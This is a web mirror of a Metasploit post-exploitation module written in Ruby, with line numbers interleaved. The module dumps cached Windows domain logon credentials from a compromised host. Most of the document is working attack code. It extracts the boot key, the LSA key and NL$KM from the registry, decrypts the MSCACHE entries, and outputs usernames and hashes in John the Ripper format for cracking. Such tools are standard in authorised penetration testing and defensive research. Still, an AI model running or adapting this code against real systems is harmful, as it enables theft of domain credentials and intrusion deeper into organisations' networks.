Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/cachedump.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Credential Cache Dump',
16
'Description' => %q{
17
This module uses the registry to extract the stored domain hashes that have been
18
cached as a result of a GPO setting. The default setting on Windows is to store
19
the last ten successful logins.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Maurizio Agazzini <inode[at]mediaservice.net>',
24
'mubix'
25
],
26
'Platform' => ['win'],
27
'SessionTypes' => ['meterpreter'],
28
'References' => [
29
['URL', 'https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb']
30
],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'Reliability' => [],
34
'SideEffects' => []
35
},
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
stdapi_railgun_api
40
stdapi_registry_open_key
41
]
42
}
43
}
44
)
45
)
46
end
47
48
def check_gpo
49
gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
50
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
51
end
52
53
def capture_nlkm(lsakey)
54
nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')
55
56
vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")
57
58
if lsa_vista_style?
59
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
60
elsif sysinfo['Architecture'] == ARCH_X64
61
nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
62
else # 32 bits
63
nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
64
end
65
66
return nlkm_dec
67
end
68
69
def parse_decrypted_cache(dec_data, cache_entry)
70
i = 0
71
hash = dec_data[i, 0x10]
72
i += 72
73
74
username = dec_data[i, cache_entry.user_name_length].split("\x00\x00").first.gsub("\x00", '')
75
i += cache_entry.user_name_length
76
i += 2 * ((cache_entry.user_name_length / 2) % 2)
77
78
vprint_good "Username\t\t: #{username}"
79
vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"
80
81
if lsa_vista_style?
82
if (cache_entry.iteration_count > 10240)
83
iteration_count = cache_entry.iteration_count & 0xfffffc00
84
else
85
iteration_count = cache_entry.iteration_count * 1024
86
end
87
vprint_good "Iteration count\t: #{cache_entry.iteration_count} -> real #{iteration_count}"
88
end
89
90
last = Time.at(cache_entry.last_access)
91
vprint_good "Last login\t\t: #{last.strftime('%F %T')} "
92
93
dec_data[i, cache_entry.domain_name_length + 1]
94
i += cache_entry.domain_name_length
95
96
if (cache_entry.dns_domain_name_length != 0)
97
dns_domain_name = dec_data[i, cache_entry.dns_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
98
i += cache_entry.dns_domain_name_length
99
i += 2 * ((cache_entry.dns_domain_name_length / 2) % 2)
100
vprint_good "DNS Domain Name\t: #{dns_domain_name}"
101
end
102
103
if (cache_entry.upn_length != 0)
104
upn = dec_data[i, cache_entry.upn_length + 1].split("\x00\x00").first.gsub("\x00", '')
105
i += cache_entry.upn_length
106
i += 2 * ((cache_entry.upn_length / 2) % 2)
107
vprint_good "UPN\t\t\t: #{upn}"
108
end
109
110
if (cache_entry.effective_name_length != 0)
111
effective_name = dec_data[i, cache_entry.effective_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
112
i += cache_entry.effective_name_length
113
i += 2 * ((cache_entry.effective_name_length / 2) % 2)
114
vprint_good "Effective Name\t: #{effective_name}"
115
end
116
117
if (cache_entry.full_name_length != 0)
118
full_name = dec_data[i, cache_entry.full_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
119
i += cache_entry.full_name_length
120
i += 2 * ((cache_entry.full_name_length / 2) % 2)
121
vprint_good "Full Name\t\t: #{full_name}"
122
end
123
124
if (cache_entry.logon_script_length != 0)
125
logon_script = dec_data[i, cache_entry.logon_script_length + 1].split("\x00\x00").first.gsub("\x00", '')
126
i += cache_entry.logon_script_length
127
i += 2 * ((cache_entry.logon_script_length / 2) % 2)
128
vprint_good "Logon Script\t\t: #{logon_script}"
129
end
130
131
if (cache_entry.profile_path_length != 0)
132
profile_path = dec_data[i, cache_entry.profile_path_length + 1].split("\x00\x00").first.gsub("\x00", '')
133
i += cache_entry.profile_path_length
134
i += 2 * ((cache_entry.profile_path_length / 2) % 2)
135
vprint_good "Profile Path\t\t: #{profile_path}"
136
end
137
138
if (cache_entry.home_directory_length != 0)
139
home_directory = dec_data[i, cache_entry.home_directory_length + 1].split("\x00\x00").first.gsub("\x00", '')
140
i += cache_entry.home_directory_length
141
i += 2 * ((cache_entry.home_directory_length / 2) % 2)
142
vprint_good "Home Directory\t\t: #{home_directory}"
143
end
144
145
if (cache_entry.home_directory_drive_length != 0)
146
home_directory_drive = dec_data[i, cache_entry.home_directory_drive_length + 1].split("\x00\x00").first.gsub("\x00", '')
147
i += cache_entry.home_directory_drive_length
148
i += 2 * ((cache_entry.home_directory_drive_length / 2) % 2)
149
vprint_good "Home Directory Drive\t: #{home_directory_drive}"
150
end
151
152
vprint_good "User ID\t\t: #{cache_entry.user_id}"
153
vprint_good "Primary Group ID\t: #{cache_entry.primary_group_id}"
154
155
relative_id = []
156
while (cache_entry.group_count > 0)
157
# TODO: parse attributes
158
relative_id << dec_data[i, 4].unpack('V')[0]
159
i += 4
160
dec_data[i, 4].unpack('V')[0]
161
i += 4
162
cache_entry.group_count -= 1
163
end
164
165
vprint_good("Additional groups\t: #{relative_id.join ' '}")
166
167
if cache_entry.logon_domain_name_length != 0
168
logon_domain_name = dec_data[i, cache_entry.logon_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
169
cache_entry.logon_domain_name_length
170
cache_entry.logon_domain_name_length
171
vprint_good "Logon domain name\t: #{logon_domain_name}"
172
end
173
174
@credentials <<
175
[
176
username,
177
hash.unpack('H*')[0],
178
iteration_count,
179
logon_domain_name,
180
dns_domain_name,
181
last.strftime('%F %T'),
182
upn,
183
effective_name,
184
full_name,
185
logon_script,
186
profile_path,
187
home_directory,
188
home_directory_drive,
189
cache_entry.primary_group_id,
190
relative_id.join(' '),
191
]
192
193
vprint_good('----------------------------------------------------------------------')
194
195
if lsa_vista_style?
196
return "#{username.downcase}:$DCC2$#{iteration_count}##{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"
197
end
198
199
"#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"
200
end
201
202
def parse_cache_entry(cache_data)
203
j = Struct.new(
204
:user_name_length,
205
:domain_name_length,
206
:effective_name_length,
207
:full_name_length,
208
:logon_script_length,
209
:profile_path_length,
210
:home_directory_length,
211
:home_directory_drive_length,
212
:user_id,
213
:primary_group_id,
214
:group_count,
215
:logon_domain_name_length,
216
:logon_domain_id_length,
217
:last_access,
218
:last_access_time,
219
:revision,
220
:sid_count,
221
:valid,
222
:iteration_count,
223
:sif_length,
224
:logon_package,
225
:dns_domain_name_length,
226
:upn_length,
227
:ch,
228
:enc_data
229
)
230
231
s = j.new
232
233
s.user_name_length = cache_data[0, 2].unpack('v')[0]
234
s.domain_name_length = cache_data[2, 2].unpack('v')[0]
235
s.effective_name_length = cache_data[4, 2].unpack('v')[0]
236
s.full_name_length = cache_data[6, 2].unpack('v')[0]
237
s.logon_script_length = cache_data[8, 2].unpack('v')[0]
238
s.profile_path_length = cache_data[10, 2].unpack('v')[0]
239
s.home_directory_length = cache_data[12, 2].unpack('v')[0]
240
s.home_directory_drive_length = cache_data[14, 2].unpack('v')[0]
241
242
s.user_id = cache_data[16, 4].unpack('V')[0]
243
s.primary_group_id = cache_data[20, 4].unpack('V')[0]
244
s.group_count = cache_data[24, 4].unpack('V')[0]
245
s.logon_domain_name_length = cache_data[28, 2].unpack('v')[0]
246
s.logon_domain_id_length = cache_data[30, 2].unpack('v')[0]
247
248
# Removed ("Q") unpack and replaced as such
249
thi = cache_data[32, 4].unpack('V')[0]
250
tlo = cache_data[36, 4].unpack('V')[0]
251
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
252
s.last_access = ((q / 10000000) - 11644473600)
253
254
s.revision = cache_data[40, 4].unpack('V')[0]
255
s.sid_count = cache_data[44, 4].unpack('V')[0]
256
s.valid = cache_data[48, 2].unpack('v')[0]
257
s.iteration_count = cache_data[50, 2].unpack('v')[0]
258
s.sif_length = cache_data[52, 4].unpack('V')[0]
259
260
s.logon_package = cache_data[56, 4].unpack('V')[0]
261
s.dns_domain_name_length = cache_data[60, 2].unpack('v')[0]
262
s.upn_length = cache_data[62, 2].unpack('v')[0]
263
264
s.ch = cache_data[64, 16]
265
s.enc_data = cache_data[96..]
266
267
s
268
end
269
270
def decrypt_hash(edata, nlkm, ch)
271
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
272
rc4 = OpenSSL::Cipher.new('rc4')
273
rc4.key = rc4key
274
decrypted = rc4.update(edata)
275
decrypted << rc4.final
276
277
decrypted
278
end
279
280
def decrypt_hash_vista(edata, nlkm, ch)
281
aes = OpenSSL::Cipher.new('aes-128-cbc')
282
aes.decrypt
283
aes.key = nlkm[16...32]
284
aes.padding = 0
285
aes.iv = ch
286
287
decrypted = ''
288
(0...edata.length).step(16) do |i|
289
decrypted << aes.update(edata[i, 16])
290
end
291
292
decrypted
293
end
294
295
def run
296
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
297
print_status("Running module against #{hostname} (#{session.session_host})")
298
299
@credentials = Rex::Text::Table.new(
300
'Header' => 'MSCACHE Credentials',
301
'Indent' => 1,
302
'Columns' =>
303
[
304
'Username',
305
'Hash',
306
'Hash iteration count',
307
'Logon Domain Name',
308
'DNS Domain Name',
309
'Last Login',
310
'UPN',
311
'Effective Name',
312
'Full Name',
313
'Logon Script',
314
'Profile Path',
315
'Home Directory',
316
'HomeDir Drive',
317
'Primary Group',
318
'Additional Groups'
319
]
320
)
321
322
client.railgun.netapi32
323
join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']
324
325
if sysinfo['Architecture'] == ARCH_X64
326
join_status &= 0x00000000ffffffff
327
end
328
329
if join_status != 3
330
fail_with(Failure::NoTarget, 'System is not joined to a domain, exiting..')
331
end
332
333
# Check policy setting for cached creds
334
check_gpo
335
336
print_status('Obtaining boot key...')
337
bootkey = capture_boot_key
338
339
fail_with(Failure::Unknown, 'Could not retrieve boot key. Are you SYSTEM?') if bootkey.blank?
340
341
vprint_status("Boot key: #{bootkey.unpack1('H*')}")
342
343
print_status('Obtaining Lsa key...')
344
lsa_key = capture_lsa_key(bootkey)
345
346
fail_with(Failure::Unknown, 'Could not retrieve LSA key. Are you SYSTEM?') if lsa_key.blank?
347
348
vprint_status("Lsa Key: #{lsa_key.unpack('H*')[0]}")
349
350
print_status('Obtaining NL$KM...')
351
nlkm = capture_nlkm(lsa_key)
352
vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")
353
354
print_status('Dumping cached credentials...')
355
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)
356
357
john = ''
358
359
ok.enum_value.each do |usr|
360
next unless usr.name.match(/^NL\$\d+$/)
361
362
begin
363
nl = ok.query_value(usr.name.to_s).data
364
rescue StandardError
365
next
366
end
367
368
cache = parse_cache_entry(nl)
369
370
next unless (cache.user_name_length > 0)
371
372
vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
373
vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
374
vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")
375
376
if lsa_vista_style?
377
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
378
else
379
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
380
end
381
382
vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")
383
384
john << parse_decrypted_cache(dec_data, cache)
385
end
386
387
if @credentials.rows.empty?
388
print_status('Found no cached credentials')
389
return
390
end
391
392
if lsa_vista_style?
393
print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
394
p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
395
print_good("MSCACHE v2 saved in: #{p}")
396
john = "# mscash2\n" + john
397
else
398
print_status('Hash are in MSCACHE format. (mscash)')
399
p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
400
print_good("MSCACHE v1 saved in: #{p}")
401
john = "# mscash\n" + john
402
end
403
404
print_status('John the Ripper format:')
405
print_line(john)
406
rescue ::Interrupt
407
raise $ERROR_INFO
408
rescue ::Rex::Post::Meterpreter::RequestError => e
409
print_error("Meterpreter Exception: #{e.class} #{e}")
410
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
411
end
412
end
413
414